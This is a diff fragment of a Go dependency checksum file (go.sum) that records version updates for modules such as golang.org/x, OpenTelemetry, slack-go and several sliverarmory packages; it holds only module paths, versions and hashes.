github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ=
github.com/mattn/go-runewidth v0.0.20/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-runewidth v0.0.23 h1:7ykA0T0jkPpzSvMS5i9uoNn2Xy3R383f9HDx3RybWcw=
github.com/mattn/go-runewidth v0.0.23/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
@@ -598,8 +576,6 @@ github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701 h1:6caCgDZpovjvv+
github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701/go.mod h1:UdqyqqCSnPu3Zc8Q3kpDszrq1hcyBHsG17hlWlRJmWI=
github.com/moloch--/go-keystone v0.0.2 h1:xThbYs45CSzoDUz5kBZxAyTPIpK3t5M7NB1x+NTTRL8=
github.com/moloch--/go-keystone v0.0.2/go.mod h1:kpGRJpw9b7Eq3MluHrba+GPKZhSyDrvhLULSwH5nGGM=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a h1:Q69DxLWF+Z8oIjuNbeKC6Xygk8Z4heWzzO79Io1cEYA=
github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a/go.mod h1:CwNkh9BmFBBCSO6mdDaNWb34rOqQsI9eYbxyqvOEazY=
github.com/moloch--/sgn v0.0.5 h1:92GFaRpe+353uhqzFiNKXKgmTiD4dBxnvb8gd4MaV/g=
@@ -645,8 +621,6 @@ github.com/openai/openai-go/v2 v2.7.1/go.mod h1:jrJs23apqJKKbT+pqtFgNKpRju/KP9zp
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ=
github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
github.com/pires/go-proxyproto v0.8.1 h1:9KEixbdJfhrbtjpz/ZwCdWDD2Xem0NZ38qMYaASJgp0=
@@ -698,12 +672,14 @@ github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w=
github.com/sirupsen/logrus v1.9.4/go.mod h1:ftWc9WdOfJ0a92nsE2jF5u5ZwH8Bv2zdeOC42RjbV2g=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/slack-go/slack v0.24.0 h1:oMz5WcCBVTkxpBxeA8QVxxK70R+XV/a0qNka6TRNGHQ=
github.com/slack-go/slack v0.24.0/go.mod h1:H0yR/YBuRJ39RkE+JpV/d/oEsbanzTRowR82bCN0cEs=
github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKCJQ4X0=
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
@@ -830,24 +806,24 @@ go.mau.fi/util v0.9.3 h1:aqNF8KDIN8bFpFbybSk+mEBil7IHeBwlujfyTnvP0uU=
go.mau.fi/util v0.9.3/go.mod h1:krWWfBM1jWTb5f8NCa2TLqWMQuM81X7TGQjhMjBeXmQ=
go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64=
go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y=
go.opentelemetry.io/contrib/detectors/gcp v1.40.0 h1:Awaf8gmW99tZTOWqkLCOl6aw1/rxAWVlHsHIZ3fT2sA=
go.opentelemetry.io/contrib/detectors/gcp v1.40.0/go.mod h1:99OY9ZCqyLkzJLTh5XhECpLRSxcZl+ZDKBEO+jMBFR4=
go.opentelemetry.io/contrib/detectors/gcp v1.43.0 h1:62yY3dT7/ShwOxzA0RsKRgshBmfElKI4d/Myu2OxDFU=
go.opentelemetry.io/contrib/detectors/gcp v1.43.0/go.mod h1:RyaZMFY7yi1kAs45S6mbFGz8O8rqB0dTY14uzvG4LCs=
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0 h1:XmiuHzgJt067+a6kwyAzkhXooYVv3/TOw9cM2VfJgUM=
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0/go.mod h1:KDgtbWKTQs4bM+VPUr6WlL9m/WXcmkCcBlIzqxPGzmI=
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0 h1:7iP2uCb7sGddAr30RRS6xjKy7AZ2JtTOPA3oolgVSw8=
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0/go.mod h1:c7hN3ddxs/z6q9xwvfLPk+UHlWRQyaeR1LdgfL/66l0=
go.opentelemetry.io/otel v1.40.0 h1:oA5YeOcpRTXq6NN7frwmwFR0Cn3RhTVZvXsP4duvCms=
go.opentelemetry.io/otel v1.40.0/go.mod h1:IMb+uXZUKkMXdPddhwAHm6UfOwJyh4ct1ybIlV14J0g=
go.opentelemetry.io/otel v1.43.0 h1:mYIM03dnh5zfN7HautFE4ieIig9amkNANT+xcVxAj9I=
go.opentelemetry.io/otel v1.43.0/go.mod h1:JuG+u74mvjvcm8vj8pI5XiHy1zDeoCS2LB1spIq7Ay0=
go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.39.0 h1:5gn2urDL/FBnK8OkCfD1j3/ER79rUuTYmCvlXBKeYL8=
go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.39.0/go.mod h1:0fBG6ZJxhqByfFZDwSwpZGzJU671HkwpWaNe2t4VUPI=
go.opentelemetry.io/otel/metric v1.40.0 h1:rcZe317KPftE2rstWIBitCdVp89A2HqjkxR3c11+p9g=
go.opentelemetry.io/otel/metric v1.40.0/go.mod h1:ib/crwQH7N3r5kfiBZQbwrTge743UDc7DTFVZrrXnqc=
go.opentelemetry.io/otel/sdk v1.40.0 h1:KHW/jUzgo6wsPh9At46+h4upjtccTmuZCFAc9OJ71f8=
go.opentelemetry.io/otel/sdk v1.40.0/go.mod h1:Ph7EFdYvxq72Y8Li9q8KebuYUr2KoeyHx0DRMKrYBUE=
go.opentelemetry.io/otel/sdk/metric v1.40.0 h1:mtmdVqgQkeRxHgRv4qhyJduP3fYJRMX4AtAlbuWdCYw=
go.opentelemetry.io/otel/sdk/metric v1.40.0/go.mod h1:4Z2bGMf0KSK3uRjlczMOeMhKU2rhUqdWNoKcYrtcBPg=
go.opentelemetry.io/otel/trace v1.40.0 h1:WA4etStDttCSYuhwvEa8OP8I5EWu24lkOzp+ZYblVjw=
go.opentelemetry.io/otel/trace v1.40.0/go.mod h1:zeAhriXecNGP/s2SEG3+Y8X9ujcJOTqQ5RgdEJcawiA=
go.opentelemetry.io/otel/metric v1.43.0 h1:d7638QeInOnuwOONPp4JAOGfbCEpYb+K6DVWvdxGzgM=
go.opentelemetry.io/otel/metric v1.43.0/go.mod h1:RDnPtIxvqlgO8GRW18W6Z/4P462ldprJtfxHxyKd2PY=
go.opentelemetry.io/otel/sdk v1.43.0 h1:pi5mE86i5rTeLXqoF/hhiBtUNcrAGHLKQdhg4h4V9Dg=
go.opentelemetry.io/otel/sdk v1.43.0/go.mod h1:P+IkVU3iWukmiit/Yf9AWvpyRDlUeBaRg6Y+C58QHzg=
go.opentelemetry.io/otel/sdk/metric v1.43.0 h1:S88dyqXjJkuBNLeMcVPRFXpRw2fuwdvfCGLEo89fDkw=
go.opentelemetry.io/otel/sdk/metric v1.43.0/go.mod h1:C/RJtwSEJ5hzTiUz5pXF1kILHStzb9zFlIEe85bhj6A=
go.opentelemetry.io/otel/trace v1.43.0 h1:BkNrHpup+4k4w+ZZ86CZoHHEkohws8AY+WTX09nk+3A=
go.opentelemetry.io/otel/trace v1.43.0/go.mod h1:/QJhyVBUUswCphDVxq+8mld+AvhXZLhe+8WVFxiFff0=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
@@ -868,10 +844,8 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
golang.org/x/crypto v0.53.0 h1:QZ4Muo8THX6CizN2vPPd5fBGHyogrdK9fG4wLPFUsto=
golang.org/x/crypto v0.53.0/go.mod h1:DNLU434OwVakk9PzuwV8w62mAJpRJL3vsgcfp4Qnsio=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa h1:Zt3DZoOFFYkKhDT3v7Lm9FDMEV06GpzjG2jrqW+QTE0=
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa/go.mod h1:K79w1Vqn7PoiZn+TkNpx3BUWUQksGO3JcVX6qIjytmA=
@@ -890,8 +864,8 @@ golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.33.0 h1:tHFzIWbBifEmbwtGz65eaWyGiGZatSrT9prnU8DbVL8=
golang.org/x/mod v0.33.0/go.mod h1:swjeQEj+6r7fODbD2cqrnje9PnziFuw4bmLbBZFrQ5w=
golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ=
golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0=
golang.org/x/net v0.0.0-20171115151908-9dfe39835686/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -913,10 +887,8 @@ golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
golang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0=
golang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw=
golang.org/x/net v0.56.0 h1:Rw8j/hFzGvJUZwNBXnAtf5sVDVt+65SK2C7IxCxZt5o=
golang.org/x/net v0.56.0/go.mod h1:D3Ku6r+V6JROoZK144D2XfMHFcMq/0zSfLelVTCFKec=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs=
golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q=
@@ -933,10 +905,8 @@ golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek=
golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190204203706-41f3e6584952/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -975,8 +945,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw=
golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
@@ -986,10 +956,8 @@ golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
golang.org/x/term v0.40.0 h1:36e4zGLqU4yhjlmxEaagx2KuYbJq3EwY8K943ZsHcvg=
golang.org/x/term v0.40.0/go.mod h1:w2P8uVp06p2iyKKuvXIm7N/y0UCRt3UfJTfZ7oOpglM=
golang.org/x/term v0.41.0 h1:QCgPso/Q3RTJx2Th4bDLqML4W6iJiaXFq2/ftQF13YU=
golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A=
golang.org/x/term v0.44.0 h1:0rLvDRCtNj0gZkyIXhCyOb2OAzEhLVqc4B+hrsBhrmc=
golang.org/x/term v0.44.0/go.mod h1:7ze4MdzUzLXpSAoFP1H0bOI9aXDqveSvatT5vKcFh2Y=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -1003,10 +971,8 @@ golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=
golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=
golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8=
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs=
golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY=
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -1023,8 +989,8 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/tools v0.42.0 h1:uNgphsn75Tdz5Ji2q36v/nsFSfR/9BRFvqhGBaJGd5k=
golang.org/x/tools v0.42.0/go.mod h1:Ma6lCIwGZvHK6XtgbswSoWroEkhugApmsXyrUmBhfr0=
golang.org/x/tools v0.47.0 h1:7Kn5x/d1svx/PzryTsqeoZN4TZwqeH5pGWjefhLi/1Q=
golang.org/x/tools v0.47.0/go.mod h1:dFHnyTvFWY212G+h7ZY4Vsp/K3U4/7W9TyVaAul8uCA=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -1037,36 +1003,30 @@ golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10 h1:3GDAcqdI
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10/go.mod h1:T97yPqesLiNrOYxkwmhMI0ZIlJDm+p0PMR8eRVeR5tQ=
golang.zx2c4.com/wireguard/windows v0.5.3 h1:On6j2Rpn3OEMXqBq00QEDC7bWSZrPIHKIus8eIuExIE=
golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prrtqm+REGFifP60hI=
gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk=
gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E=
gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4=
gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E=
google.golang.org/api v0.269.0 h1:qDrTOxKUQ/P0MveH6a7vZ+DNHxJQjtGm/uvdbdGXCQg=
google.golang.org/api v0.269.0/go.mod h1:N8Wpcu23Tlccl0zSHEkcAZQKDLdquxK+l9r2LkwAauE=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine/v2 v2.0.6 h1:LvPZLGuchSBslPBp+LAhihBeGSiRh1myRoYK4NtuBIw=
google.golang.org/appengine/v2 v2.0.6/go.mod h1:WoEXGoXNfa0mLvaH5sV3ZSGXwVmy8yf7Z1JKf3J3wLI=
google.golang.org/genai v1.49.0 h1:Se+QJaH2GYK1aaR1o5S38mlU2GD5FnVvP76nfkV7LH0=
google.golang.org/genai v1.49.0/go.mod h1:A3kkl0nyBjyFlNjgxIwKq70julKbIxpSxqKO5gw/gmk=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20260226221140-a57be14db171 h1:RxhCsti413yL0IjU9dVvuTbCISo8gs3RW1jPMStck+4=
google.golang.org/genproto v0.0.0-20260226221140-a57be14db171/go.mod h1:uhvzakVEqAuXU3TC2JCsxIRe5f77l+JySE3EqPoMyqM=
google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171 h1:tu/dtnW1o3wfaxCOjSLn5IRX4YDcJrtlpzYkhHhGaC4=
google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171/go.mod h1:M5krXqk4GhBKvB596udGL3UyjL4I1+cTbK0orROM9ng=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260226221140-a57be14db171 h1:ggcbiqK8WWh6l1dnltU4BgWGIGo+EVYxCaAPih/zQXQ=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260226221140-a57be14db171/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5 h1:aJmi6DVGGIStN9Mobk/tZOOQUBbj0BPjZjjnOdoZKts=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/genproto/googleapis/api v0.0.0-20260414002931-afd174a4e478 h1:yQugLulqltosq0B/f8l4w9VryjV+N/5gcW0jQ3N8Qec=
google.golang.org/genproto/googleapis/api v0.0.0-20260414002931-afd174a4e478/go.mod h1:C6ADNqOxbgdUUeRTU+LCHDPB9ttAMCTff6auwCVa4uc=
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478 h1:RmoJA1ujG+/lRGNfUnOMfhCy5EipVMyvUE+KNbPbTlw=
